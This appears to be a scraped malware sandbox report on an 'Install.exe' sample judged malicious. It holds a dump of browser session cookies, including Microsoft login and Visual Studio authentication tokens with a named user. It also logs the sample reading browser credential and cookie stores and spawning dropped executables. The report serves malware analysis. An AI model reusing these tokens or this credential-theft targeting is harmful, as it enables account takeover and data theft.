.login.microsoftonline.comTRUE/TRUE1539606443ESTSAUTHPERSISTENTAQABAAIAAADXzZ3ifr-GRbDT45zNSEFEqN3lcIcVk_txN002M0aSKQ3vHW-KKOvT0l2FZ5krXRiGe96TPP0Tcdc6aThD24EQH8XwfNYwKzYh6BSJahL-oq-FqtQOVLX6IP0IHlIhxw-Ihyfe0FqrqvTD43U2Y61kdV9Rw3nKJ-o84ELeq6SnuvDQVWEa0gLrhMj6Ik1XYwnl7l6WaT97koJKqKiVkJ1iuYOGM14-4P5Z0RrE80sH9UpU7lILLtXYP0YzVKWnoa-Uwe0dHjL9vSG_PkueznTUAxucsJQk2oUrzIlA1yJUM3SeE_SorL1eWJCWTxwzllEh9ehA55c3PSRxk6_tWpa_Hl9sKQE0AZGVFdH8TNX5OBttLH77N-umvMYVf2FDyTSviNUBGpfuL_nFmLZBw9B8Qwkp7iLFzpMZ_uJIYFzR6AgqEWS-_empWfontUAITrgfrGEpEMBVFXl9OtIHHwXlpol4NUzw6qDIhTaTr_xSOrzPhBOGBZarDixDjEMzYL77D8X2dlwK7zPHgdu0TwDgJ7V_VMbnhivHTN50xlFCMutxdLodQe0yneDFsxtWkDZi-Rl39EBMbfH9HvKOxlkjE5GFIPxcCFvOSHqdohyPLKcqLzR2pHQU3etiM10t3NkgAA login.microsoftonline.comTRUE/TRUE1534422443buidAQABAAEAAADXzZ3ifr-GRbDT45zNSEFERgmHaE21nvvOTVY2_75NkZGI-YsBWBOulFAsZCsrrazoD5DQYQgBT_JZuf__eWQggSLq9PdegrrzFZkXIh3A2gMy_FuhlXOW57d9R1-d9Uuti08zZmHg5eKAHcXs5BhZVzGDuYQQwVXl-TJShRyYQXZ3-1bRaTsFO7WjwrAFzCEgAA .login.microsoftonline.comTRUE/TRUE1534422143CCStateQ3VjRENrUnRZWEpqTG5KcGRtVnliMEJqY205M1pITjBjbWxyWlM1amIyMThZWEJ3T2pRNU9XSTROR0ZqTFRFek1qRXROREkzWmkxaFlURTNMVEkyTjJOaE5qazNOVGM1T0JLVEF6Q0NBWThHQ1NxR1NJYjNEUUVIQTZDQ0FZQXdnZ0Y4QWdFQU1ZSUJTRENDQVVRQ0FRQXdMREFWTVJNd0VRWURWUVFERXdwTlUwbFVJRU5CSUZveUFoTldBRkFQYkxqbkNEUUZXZllJQUFBQVVBOXNNQTBHQ1NxR1NJYjNEUUVCQVFVQUJJSUJBR08rUElFbUptYm5JUllvRjRXRXNxZ2l4VXFFTmJNd0V4TnpFQW1FbHRZa2dYRnZNOXV1MnBCTmVmV0ZxWEhTTHlUSklUaE1UcUhrUW9OemYwUndpN2pLVTZFUXd4V0UweitoQmxoc29DNlExRFI5NjFDR2pydnZCMkgvOTBYbEJYY2l5YTdtVTQvd0xPcDJ6M0R0UFR0N0k5TDU3bGNyM29lL2RGL1E5dElFM21QSks3NmlpK2I1M25wTXYrNEE0WXRNTVdwUUdjVGZMYkd6R3plamV0MVJKZUNkaTVIUk5tRzB5b3ArOUMwTExhSCttNmI2UGlCMG5GdmcrMWk4bFV3dnhFZW84dnhxU25xLzYzd1hyTUlHMzM4cVNWeTh2Mm92MmtPSjRvVW5rOG9QU1YyWTZmQldEcDZ5VHFRanU0Sy9WRFU3VVNvbkt1MzRiMU93WWswd0t3WUpLb1pJaHZjTkFRY0JNQlFHQ0NxR1NJYjNEUU1IQkFnQ0JldldwU3c2UVlBSUxlbmY0ZTlqZ1dnYUNRbHp5UVh6Myt2VlNCSVNDaEQ3SmY1Y1cxSmxTcWp4a1dTUitBWnZHZ2tKdDJ2WXBlRHIxVWc9 app.vsaex.visualstudio.comTRUE/TRUE1532435243FedAuth77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8xMzY5OGEwMS1iMDllLTRjZDYtYTRhNi03MjEyYWRhZTFkYTItQTY0NzUxQjY3RDU2NzgzODc5NDBFMkM1RkM1NzA0RjMiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTU5YWUwYzUtMGM0Ny00ZjkzLWExNTYtNjM1Njc1ZTIxN2I4PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWVLNUJsOHJtSHI0c1dDcitMbjBzM3ZOSEkyd0hPcnhiUzJsT1VlL2VLYkZuUGdiZGUxQmJqcGdDcjFEMXhEOXBZRm8rKzVUNUF1MXBnc21VWEtiWDlvSmNNeTBTRURzcmk5WkhDWFZieUUrSTIzencyK2JZaS9JRklrTUtmQXlXTk5YMmhUSDM0OUZaS3M2M09DR0hLVGJVT3lzSTBodk90REF3Znk3NG9aMUx0U0VVVkloMmNqc25adVEwcUNHeEZIenhYR2thMjRIK1FWeitnb1ZHd3RjeFEydkh5cGdVYVZQYVN1U2hLWmEvd1lQME9uendhT3lVa0F6ZWJPR2RUSm41Zzl3WjI4bWapp.vsaex.visualstudio.comTRUE/TRUE1532435243FedAuth1MzBwcUQ4d3BNZHZ4cDhCd0ZacFdrWlNrYUM3VFFEbWkreHptSm9VN1dmazgya3FQajVjVzZvd29jenFiVnc4cVhua213eDJJZ2RjWXFnNkNCZXByU0x6emJ4cEY3RWM5Zmg1NUxjb2wxNzlCTmFsS1hCcElXZ0hyRS8vQk83Q1gwMHVCVTB5aldndzYvVUNPNlNVYlN3TGUzTVdISWZUSzhBZ2JVSS9MMXhlUHErMmh6aTJUYWZrZkxVMkd6dlFyT0F3SlAzSlk5TzBNQ1Q0RHhPOEw4NVBBS1BzMG8rSWtTM2JyTlhJRmFsSVI0WnkzWHkxRGMrNU9heVB0MzJHc1ZsenorZE5hRjNaQzBCcmI5Z2lKcktlQitOclU3aFhtbWVaczQ2VzZXREhWMkVBT1RNUnpKOWUrcGEzRmxMQmxGK3Z4ZTRPbCtlWDltSVlCVG8wczA4NXJkTDhjK2JJMUJQU0JWTGp1aE5BY2VEamZEQnVKN2JVS3hINmNQWHJsVFZVVndKM2NXUVhHVHBJaTJjb3pPTk9Ud3l5K0lvM2o4ZXRYRjZNZDhRRFdJMGVqK2c0R3QrVlJOWHFGR0tHSS9iKzNtdDRjcnhhMXdhYUt1cDVpYUN1RG9qZmFNdEFyeC8rQi85WFVsaEJSek1TRDZMRTJkSUhQbitmL3NOUUticHBrWnpHaEdlM1dKL2kyU2JudVcvTDFTbHExdy9SQWRjV0VmWW5leWNnYzlERlF3SmVnT1gzbjJPcm42OUFxM3NselhTY3RaazVobWowNGttSUh5YU1rbUd3OWJsQUdVY2NKYjdtUUF6NkowYlNRNlZOV2RjSGpCTDduZW80OU40c3NPa3VWNDBpTE0yQUxHMy9ZK0dFMVhmejBhNDN6YlFVdTM0L1o4cmxzbkI2YXZEc3hRVVdpd3NIMmdoWDd0MCtpNU5LckwyMVlEbVl5TFhNV.google.comTRUE/FALSE1547382453NID134=DJVDrFMJ_7WTMaThq4BwXW48xuuFIjrxm6k6mZ_-IesJ-g-kLcQY3mKLWPvC920yPSSa9r-hjI1JU5myF94eyuiNLyOIiQ47NoAWAf2r4JCnxGybgSxyJy1gh2I-6ic3JfcTIYjB9Bc www.google.comTRUE/FALSE1531831057DVgw7SsgaDfBIQ0N8QXx_eM9eFGkqDShY .microsoft.comTRUE/FALSE1531830496_galic-shellmenu_85 .visualstudio.comTRUE/TRUE1532435266SpsAuthenticatedUserDisplayName=Marc%20Rivero&aad=False .visualstudio.comTRUE/TRUE1689510466VstsSession%7B%22PersistentSessionId%22%3A%22d4708cf3-5d30-49b9-a6ff-e56cc387292d%22%2C%22PendingAuthenticationSessionId%22%3A%2200000000-0000-0000-0000-000000000000%22%2C%22CurrentAuthenticationSessionId%22%3A%22a452f370-9678-4bfb-bfa8-2d1cd43699e3%22%7D app.vssps.visualstudio.comTRUE/TRUE1532435243FedAuth77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il8yMmNjZWU4ZC1hMzdmLTQwYmQtYTZmZS1mOWRhODEzNjQ1ODEtNEI5N0I0REMyNDU0NEMwMEJCNjA0NjM3OEI2QTk4OEUiIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6MTIzOGQ2M2YtNDA3Zi00MzA2LTgxY2MtZGMyMDgwNDFmMjE1PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQWJwWFNSbnlLQVo0VHpWbXdOTDB6WVVrQTBTRDBaUTJqa24xMW8xTUp4SXhSUkcvUGhMWEZVU0FSdDBVcHNsSC9MRStmMWJRUXo1RFI1Ny9rdWFCSVYvall2MWp4TkRLQ2YrSThwZm5qanMvd3Bna0ROWGhMakZqczB3OHpGcXhDZ2VpeHhHaW9CN1NIYjFWWm9JV3krY0FCUThoNUIvZWxDUTFYUFd4NnRLT3lxY0tjYWdMb3BRQ3NjbVQwZ1oxUzE3T0FTYmxxc0VZRWlra0hsOUtZTmt2QmVUQ1VDQjB6cmFtakNFWG1WdVZteWx1eWRtM2hZZWFob0U4WW10ZmtYVkRDbXdMRHpPbDapp.vssps.visualstudio.comTRUE/TRUE1532435243FedAuth1a2s4Qzh4SFI0YUZHbzFiVkFVWDJHdUJuMUZpNXBIUEN1R0NDZ0t6amZqVys4QlA4YitKQ1c0VmVjeWdTdlVrSUVqc3JiWm1ld0ptYnVaQ21PaENaSEN2U2NUS0FIWDJ0UXQrU3loQVV2eGVreWhrY0xIeTVpOHRWUnJRM0RCNmpUdE56YjlpNjV1bzBUc0lOZ1FpWFdZNUZEcDk5dVdQM1J2TGR1UEg4WXd4Y2tnZUJCNDh5ZnAvcTNyOVNENms5YTFadXRtYi84Vy9nZHpyMWsvL0pNWEpzb0h2cDNJRGxVK0JOOVdhT3dCamdURTJ4T3RZV3RvOWJUMVJxN3hUb1RwVFlkQ1V0QmtvYk9RMmpCTmZpQ3dOYmsvaDlCZUFHT2xxVmE3MGNwajRPbEJtMUg3dzVXWk80czVkVlhvTHdQMVV2bWdDQmpJOWtFbTNLbXlDWlBoWkozQmthTzBPYjl5cHFvcnEvNVZsVWU0cm1keGRTM2xZRFRheFhmSUwxR1hFTVhVRndBYzhvZHJNYjlrME9LR1dIK0xIZmVYQVo2RFFLcWMxcllFd0tpaExLRFRMR2M1Z0tNQStpMmF5MmVnNldvbExCSVJ5WjgwZTBOb2NralFQOHlkTVJXUlcrU2V3eVlJbitaM2UxSG1JTTdmWDh0cTFZWm0ybCt3QzUwMEpWVnVqOUJTL1FSZ0lSQjd2b0MvZEwrYlNHMm1VcHFwd081RmtTNktvQkxPdDZHOG1yaStPUHkrR1IwVk1qUVVzUERGT2JBdlVLcTFjejBENHQ1YmRFcllsZHRtRU43azl2YzRrckdvR2lDbTViSWJlTnQ2NlJBODdtYXgzMStCNmtBd3ZUdkFlcWhra0N1Sm43bStleWR1QVJSbmV6d3kwYnJEVU9KNFF2TkJjeWFFSWdHRU9zWU91dTYzYUdybUxLTStqV0NlNnQrTkxrbUtJWmy.visualstudio.comTRUE/TRUE1532435243FedAuth77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U2VjdXJpdHlDb250ZXh0VG9rZW4gcDE6SWQ9Il81M2VjYWU5MC03NTk2LTQzZDctYWYyZC1iNGI0MjhmZDhiZjgtMEFBN0QzQjE1Q0U1MEY1NEYxMENGNTg0NUI0MjE4ODciIHhtbG5zOnAxPSJodHRwOi8vZG9jcy5vYXNpcy1vcGVuLm9yZy93c3MvMjAwNC8wMS9vYXNpcy0yMDA0MDEtd3NzLXdzc2VjdXJpdHktdXRpbGl0eS0xLjAueHNkIiB4bWxucz0iaHR0cDovL2RvY3Mub2FzaXMtb3Blbi5vcmcvd3Mtc3gvd3Mtc2VjdXJlY29udmVyc2F0aW9uLzIwMDUxMiI+PElkZW50aWZpZXI+dXJuOnV1aWQ6OTZiNjIyODYtNzA5Ni00MjBmLWE4NzAtYmU2YTY0Y2IxN2M3PC9JZGVudGlmaWVyPjxDb29raWUgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd3MvMjAwNi8wNS9zZWN1cml0eSI+MFlkQ1daWk9tSTRBQVFBQU80a2t3Tkc1cXA5TzMyTFhsSlVVU2sxa3hsbGFaL0NZYy9ZR0hGRWRCY25jQzRabkdqWWVSMlExYTB4QXlTV3grYTArMUNaODdiYVB2NUx4aTQybVJ5MGR0b05ubUlFdU0xRmZ2YW9tcWxBWGNudzVFL1B4ZkVhVkJibTJxaS9zTzVHemMzZ1Flbi9JaG9IS213MEgyZXFBTnNISzU0U1p3MGJWb3lHVmJabG5DckFrSXh2Q0ZCOFg1WmZmalFiSXJUaWh2MXNmK29tcE4zYjc3Q0Rwc3lqWUpyQW1TMWdEQnJnOXVvZ0QwTDhiVStSVTJNTVV0MURZMGx5N2tTckFrNmtHTE1LMEF5VytCaUFJamy.visualstudio.comTRUE/TRUE1532435243FedAuth1d01NazVCRm1HU0NFTjZ5bFNFbEZqaFk4cXAvdWtaRGFtWUtLNTJHRHRRWnVnYWJPWkg0RHYrYUNVQitDb1dOelNaWDV0UnBJb0JJb3RybVBHcWtEdnZhN00xY01kZTd5Tml5cmdsajNjbVhQZ3lxWERxV0FsQzJHbG5YV0dyUHRETE0wRllKY21GV3FQaVVOcGt6VU1sOFdMRkQ5QXZGNEFrZ3RYNmlsVFIzRWdob3Ryd1VMZ3cxUEJMODk5YU5sNWM1YkVXTzNyTTUzSmpNSGN4bGpsOEdTYlgwaExoU1U4aUwzTkIyQjQyNjk3VzZSRnNGYUwxeHhJemNwLzgxYUxHd0YrY2tHc0pzWTdtN2N6Yy92QWppVUZpSnhIYldNbm5taUJYQ3F0RVNSY2ZrUGx4NVh1TkFUK1NkbTcyYXdQS2dhbVNGRUhvY0pCZ21ENWlsTXJsQUh0dVVvL25qSlhvQ1pHUnVMVnd1QjVHMFozTEREbnVTeUFwR0pTYllZd1llUUs0U2p0YmxEMGpVV3FManorN2pkTkthU2lCSEo4MURDTnhwK2xiRDM2b1ZEdklNWG1SOEFlVDVrbk1xajZaMnRwSnQ3MXVpd3ZWR1lnWm0vR1VuY3NoQUNnVEx2SmpPWXFRM0dFeThXRXlIQUszTzI4SDBjVVhBbm5MVXduNU51T002M25LK3UxRGp1YUxyYlZmM0ZsbHdNRXRRaUR1UHcvZjZwbHZYQnlOQlVYKzFua3RWckZpNjBzNWxiK0RjbmVVRUIxZ1ZtTVNwZXgvcWlWN1FVZUVIZGduOTNHSVdKOW8rd3NkOEc3R00xbFNUTUgrUWIvT1dMeHZRSzVwT0lhaFgwaVVZRGxBaWtPQlJzRko4UWpuVC8xSTdBV0RnbGNTMUJycFJ5YkNSMDlTMmZMdHNiTncza3V6RHBJeXE0SGoyZUYzaXVtc09GNGlSQjJsK3pnvlscppe.microsoft.comTRUE/TRUE1687350467thx_guid459f7c585ccc4e1bae96039138b93fde .microsoft.comTRUE/TRUE1594988868MUID12a11495-8216-468c-b4ef-91a01564edd7 .google.comTRUE/FALSE1534422677OGP-5061451: .google.comTRUE/FALSE15344226801P_JAR2018-07-17-12 .microsoft.comTRUE/FALSE1594902682optimizelyEndUserIdoeu1531830459748r0.9733928579012604 .microsoft.comTRUE/FALSE1594902687_gaGA1.2.746119596.1531830390 .microsoft.comTRUE/FALSE1531917087_gidGA1.2.1680687488.1531830390 .microsoft.comTRUE/FALSE1531830747_gat1 C:\Users\iU35TUU\AppData\Roaming\Mozilla\Firefox\Profiles\ywzu7870.default| --L4Qm2L14t7NE7Ciw--"57:T10ed,"InstallUtil.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "InstallUtil.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences" "InstallUtil.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Secure Preferences" "InstallUtil.exe" trying to open a file "%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 9\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 10\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 11\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 18\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 19\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 25\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 26\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 27\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 28\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 30\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 34\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 36\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 37\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 38\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 39\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 40\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 41\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 42\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 43\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 44\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 45\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 46\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 47\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\PROFILE 87\NETWORK\COOKIES" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\LOCAL STATE" "avg7D0AZJ2JmZ76r0V_45Ags.exe" trying to open a file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Local State"58:T7d4,Spawned process "Install.exe" (UID: 00000000-00007648) Spawned process "InstallUtil.exe" (UID: 00000000-00007824) Spawned process "mgfDPgPzpR3n3eooxTPENoOw.exe" (UID: 00000000-00006788) Spawned process "kjwAiplIbNHDVZjcXieXEHoy.exe" (UID: 00000000-00005688) Spawned process "C8_Qu2FeVDw2iL7F0qC52rTI.exe" (UID: 00000000-00001520) Spawned process "WNst4DDcz7SNmvPN7EHhdVA3.exe" (UID: 00000000-00007280) Spawned process "mEQEEcMv6bzG8imTAK2Rvxfq.exe" (UID: 00000000-00003532) Spawned process "TqCmbPDunlWW8L0MzoqQOE05.exe" (UID: 00000000-00005908) Spawned process "avg7D0AZJ2JmZ76r0V_45Ags.exe" (UID: 00000000-00003228) Spawned process "A02FZXMsOhT8vUffJfmsE6xk.exe" (UID: 00000000-00006996) Spawned process "t1Zbrj1itpE9fbhbR3AqjWey.exe" (UID: 00000000-00006364) Spawned process "btrAEvAS6d6T6WWPLm9Rs0rW.exe" (UID: 00000000-00002584) Spawned process "i5NUMaNH2togQeBv7Jyo6PpD.exe" (UID: 00000000-00006608) Spawned process "h_26wPXBLIlKW3_tlCXuCIgV.exe" (UID: 00000000-00007216) Spawned process "qiQP6tdXBnQkeYGNMzFcxIa2.exe" (UID: 00000000-00002332) Spawned process "SxLq4VT9l0e3RpdDKb2p2T_O.exe" (UID: 00000000-00007356) Spawned process "WerFault.exe" with commandline "-u -p 7280 -s 72" (UID: 00000000-00003880) Spawned process "is-OJFQK.tmp" with commandline "/SL4 $7026A "%USERPROFILE%\Pictures\Minor Policy\mgfDPgPzpR3n3eooxTPENoOw.exe" 1568921 96256" (UID: 00000000-00003456) Spawned process "AppLaunch.exe" (UID: 00000000-00000920) Spawned process "AppLaunch.exe" (UID: 00000000-00005444) Spawned process "AppLaunch.exe" (UID: 00000000-00005608) Spawned process "SplitFiles119.exe" (UID: 00000000-00004036) Spawned process "123.exe" (UID: 00000000-00001104) Spawned process "control.exe" with commandline ""%TEMP%\Ae0C.CpL"," (UID: 00000000-00002676) Spawned process "321.exe" (UID: 00000000-00004088) Spawned process "cmd.exe" with commandline "%WINDIR%\system32\cmd.exe /c %APPDATA%\bebra.exe" (UID: 00000000-00005948) Spawned process "vbc.exe" (UID: 00000000-00007776)59:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AiIiIiIiIiIiHd3d3d3AAAIeIj///+IiIh3d3d4h3AAB3iP//iIiHd3d3d3iIhwcAh4iIiIiIiId3d3eIiIgAAIeIh3eI/4iIh3d4iIiIAACHiHd4//+IiId3eIiIiAAAh4h3eP//iI+Hd3iIiIgAAIeId4j/+Ij/h3d4iIiIQACHiHeIiIiP//d3eIiI+HAAh4h3iIiIj//3d4iIiPj4AIeIeIiPiP//h3eIiIj4+ACHj3iP//+I/4d3iIiI+PgAh494////iIiHd3iIiPj4AIePiP+P//iIh3d7iIiI+ACH/4iIj//4iIh3e4iIiIgAh4h3d4iIh4iId4uIiIiIAHh3d3d3d3d4iIiIiIiIiAAAB3d3d4iIiIiIiIiIiIgAAAd4iIiIiIiIiIj4iIiIAAAAB///+IiP/4j/+IiIiAAAAAf////4////+IiIiIgAAAAH////+IiIiIiIiIh4AAAAB4iIiHd3d4iIiIiIiHAAAAeIiId4iIiI//iIiIiAAAAAiIiIj///////iIiIgAAAAIiIiP//////+IiIiIAAAACIiIiPiIiIiIiIiIdwAAAAiIiIiIiIiIiIiIiHAAAAAAN3iIiIiIiHd3d3AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAPgAAAB4AAAAGAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAHgAAAB4AAAAeAAAAHgAAAB4AAAAeAAAAHgAAAB+AAAAfgAAAH/gAAB/4AAAf+AAAD/gAAA/4AAAP+AAAD/gAAA/4AAAH+AAAH/wAAD////////////////w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"c463eb3a55bea9c16c13dcda339acc218b69b9b00c3b80f122cda9ad4c768b76","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790340222541,"unified_at":"2026-09-25T12:43:42.541Z","metadata":{"hashes":{"sha256":"c463eb3a55bea9c16c13dcda339acc218b69b9b00c3b80f122cda9ad4c768b76","sha1":"b4a86edb8a335949239ab94e84ec70b1955368ef","md5":"579e0401c23efcd244a640bbca966c27","sha512":"a7ab9362bbc9f8054755fc830ba3b0cd604eccb6a1a5efbb2a34672c7785cf59fb23ecb58d65ca7723f888f7d0e5d27db6d2e9fb3c3209d851d9d1d4d8df248a","ssdeep":"98304:AifLjIJQ1dI5vq/3t4QDFKpWGsuIpM3LJ7PDd+T6oC/CMzT:df0QqAd4QDFbB4J7LRj53","ssdeep_chunks":["98304:AifLjIJ","98304:ifLjIJQ","98304:fLjIJQ1","98304:LjIJQ1d","98304:jIJQ1dI","98304:IJQ1dI5","98304:JQ1dI5v","98304:Q1dI5vq","98304:1dI5vq/","98304:dI5vq/3","98304:I5vq/3t","98304:5vq/3t4","98304:vq/3t4Q","98304:q/3t4QD","98304:/3t4QDF","98304:3t4QDFK","98304:t4QDFKp","98304:4QDFKpW","98304:QDFKpWG","98304:DFKpWGs","98304:FKpWGsu","98304:KpWGsuI","98304:pWGsuIp","98304:WGsuIpM","98304:GsuIpM3","98304:suIpM3L","98304:uIpM3LJ","98304:IpM3LJ7","98304:pM3LJ7P","98304:M3LJ7PD","98304:3LJ7PDd","98304:LJ7PDd+","98304:J7PDd+T","98304:7PDd+T6","98304:PDd+T6o","98304:Dd+T6oC","98304:d+T6oC/","98304:+T6oC/C","98304:T6oC/CM","98304:6oC/CMz","98304:oC/CMzT","196608:AifLjIJ","196608:ifLjIJQ","196608:fLjIJQ1","196608:LjIJQ1d","196608:jIJQ1dI","196608:IJQ1dI5","196608:JQ1dI5v","196608:Q1dI5vq","196608:1dI5vq/","196608:dI5vq/3","196608:I5vq/3t","196608:5vq/3t4","196608:vq/3t4Q","196608:q/3t4QD","196608:/3t4QDF","196608:3t4QDFK","196608:t4QDFKp","196608:4QDFKpW","196608:QDFKpWG","196608:DFKpWGs","196608:FKpWGsu","196608:KpWGsuI","196608:pWGsuIp","196608:WGsuIpM","196608:GsuIpM3","196608:suIpM3L","196608:uIpM3LJ","196608:IpM3LJ7","196608:pM3LJ7P","196608:M3LJ7PD","196608:3LJ7PDd","196608:LJ7PDd+","196608:J7PDd+T","196608:7PDd+T6","196608:PDd+T6o","196608:Dd+T6oC","196608:d+T6oC/","196608:+T6oC/C","196608:T6oC/CM","196608:6oC/CMz","196608:oC/CMzT","98304:df0QqAd","98304:f0QqAd4","98304:0QqAd4Q","98304:QqAd4QD","98304:qAd4QDF","98304:Ad4QDFb","98304:d4QDFbB","98304:4QDFbB4","98304:QDFbB4J","98304:DFbB4J7","98304:FbB4J7L","98304:bB4J7LR","98304:B4J7LRj","98304:4J7LRj5","98304:J7LRj53"],"imphash":"a56f115ee5ef2625bd949acaeec66b76"},"file_info":{"file_name":"Install.exe","f